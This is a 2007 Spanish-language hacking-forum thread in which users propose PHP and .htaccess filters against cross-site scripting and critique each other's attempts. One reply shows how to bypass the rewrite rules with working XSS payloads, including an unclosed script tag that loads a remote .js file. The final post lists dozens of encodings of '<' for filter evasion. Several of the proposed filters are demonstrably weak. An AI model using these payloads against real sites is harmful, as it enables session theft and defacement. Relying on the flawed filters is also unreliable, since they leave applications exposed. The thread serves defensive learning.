Código PHP AntiXSS

Iniciado por 19.5, 30 Julio 2007, 02:01 AM

0 Miembros y 4 Visitantes están viendo este tema.

19.5

Buenas...
Yo creía que los ataques XSS eran bastante simples y sin mayor provecho que sacar, pero leyendo me di cuenta que estaba muy equivocado.
A partir del siguiente hilo: http://foro.elhacker.net/index.php/topic,164268.0.html me surgio una idea. Esa función es efectiva pero que pasa si a alguien se le ocurren cifrar los carácteres? Por ejemplo "<" ponerlo como %3c ya no funcionaría.
Por eso pense en una función que pudiese evitar la mayor cantidad de posibles ataques XSS, es decir, los mismo carácteres pero cifrados.

Una aclaración: El código siguiente es libre de ser mejorado. Además, se hizo pensando en que cualquiera lo pudiese entender, siendo muy básico para que a uds. se les ocurran ideas. Claramente usando funciones de PHP5 quedaría reducido...


$chr = "<>,;:'.\"\\&%()#¼¾¢";
$xss = "scripting";

for ($i=0; $i<strlen($xss); $i++)
{
for ($h=0; $h<strlen($chr); $h++)
{
if (substr($xss, $i, 1) == substr($chr, $h, 1))
{
echo "Posible XSS";
exit;
}
}
}


Uso: Cambiar la variable $xss por algo como "prob<ando" y verán el mensaje.

Sería útil a la hora de evaluar un query en un buscador por ejemplo, pero si se quiere analisar un campo referido a noticias lógicamente tendría sus inconveniencias.

A ver quien es capáz de vulnerarlo... :rolleyes:

PD1: Me gustaría leer la crítica sobre el codigo de Sirdarckcat
PD2: No puse el código en las etiquetas "php" porque me transformaba algunos carácteres de la variable $chr.

Ref.:
- http://foro.elhacker.net/index.php/topic,98324.0.html
- http://ha.ckers.org/xss.html

Crack_X

Lo que estas haciendo es verificando si uno de los caracteres en $chr esta en el string? Porque no mejor comparar con una expresion regular que no accepte esos ? Correr dos loops no es muy bonito y en especial si el mensaje son varios parrafos.
Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone

sirdarckcat

si, ademas es un poco lento..
Una buena opción para DETECTAR ataques de XSS, sería php-ids (php-ids.org)..
Una para permitir HTML, sin tener peligro de XSS, pueden usar html-purifier (htmlpurifier.org)..

Aun asi, para algo rapido, puedes hacer una expresion regular como bien dice crack_x
:D
Saludos!!

yeikos

Mira que os complicáis la vida creando funciones que lo único que hacen es que el proceso de carga sea más lento, o por lo menos esa es mi opinión personal...

¿Alguien me puede decir por qué no se utiliza en estos casos la función htmlentities()?

Citarhtmlentities($_GET['var'], ENT_QUOTES)

Si lo que quieren es evitar RFI, no dejen en manos de una variable el fichero a incluir, utilicen switch para inclusiones dinámicas...

Y quizás lo más importante, no cojan malos hábitos de programación escribiendo los atributos de los campos sin comillas dobles/simples.


sirdarckcat

htmlentities es LA funcion de XSS jaja, pero no siempre es muy buena, porque rompe cosas que aveces no deben romperse.. (por ejemplo si vas a hacer algo mas con ese input, debes descodificarlo antes de usarse).. por eso, la mejor opción orientada a casos particulares, es hacer tu propia expresión regular, siembargo, si no tienes idea de como parchear, y solo quieres estar seguro que no te van a atacar con XSS, usa htmlentities, el doctor lo recomienda xD

born2kill

#5
jajja, esta muy bien el codigo....no te parece mejor un .htaccess  :xD .... Lo que se te va a hacer un mundo cargando la web  :xD

Si alguien logra vulneral esto  :D

.htaccess

Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\"|%22).*(\>|%3E|<|%3C).* [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING} (javascript:).*(\;).* [NC]
RewriteRule ^(.*)$ index.php [NC]
RewriteCond %{QUERY_STRING}
RewriteRule ^(.*)$ index.php [NC]
RewriteRule (,|;|<|>|'|`) /index.php [NC]



yeikos

En fin, una vez más intentáis poner soluciones a vuestros errores, ¿habéis probado a no cometerlos? Yo personalmente tan solo muestro la variable filtrada cuando tengo que imprimirla en la página web, anteriormente uso expresiones regulares para comprobar que la cadena usa caracteres permitidos...

born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...

sirdarckcat

born2kill:
(\"|%22).*(\>|%3E|<|%3C).*
supongo que es para prevenir attribute splitting, como en:
Código (php) [Seleccionar]

<?php
echo "<a href=\"{$_GET['entrada']}\">Link</a>";
?>


se puede saltar simplemente no cerrando el atributo
?a=" onmouseover="alert(/xss/.source)"


(\<|%3C).*script.*(\>|%3E)
se salta, igual no cerrando <script.. asi:
<script src=//sirdarckcat.net/cache_poisoning.js x


(javascript:).*(\;).*
no pones el ; al final..
Código (javascript) [Seleccionar]
javascript:alert("pwned")


(,|;|<|>|'|`)
la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source

Saludos!!

wizache

justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Saludos

19.5

#9
Cita de: wizache en 31 Julio 2007, 02:13 AM
justamenteme acabo de topar con ese problema en mi pagina y utilice esta funcion, por lo pronto me parece funcional y ademas solo evita el javascript y no el html como por ejmplo la funcion htmlentities, seria cosa de ver si alguien la rompe:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Saludos

Pronto iva a publicar (desde el e-book Cross Site Scripting Attacks XSS Exploits and Defense 2007) esa función para que también la comentaran porque justamente ocupa expresiones regulares y ademas trata de tapar la mayoría de los hoyos. Aunque yo creo que sí es posible vulnerarla.

Tómense un poco de tiempo y analisen la siguiente lista.

Formas de codificar el caracter "<":

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C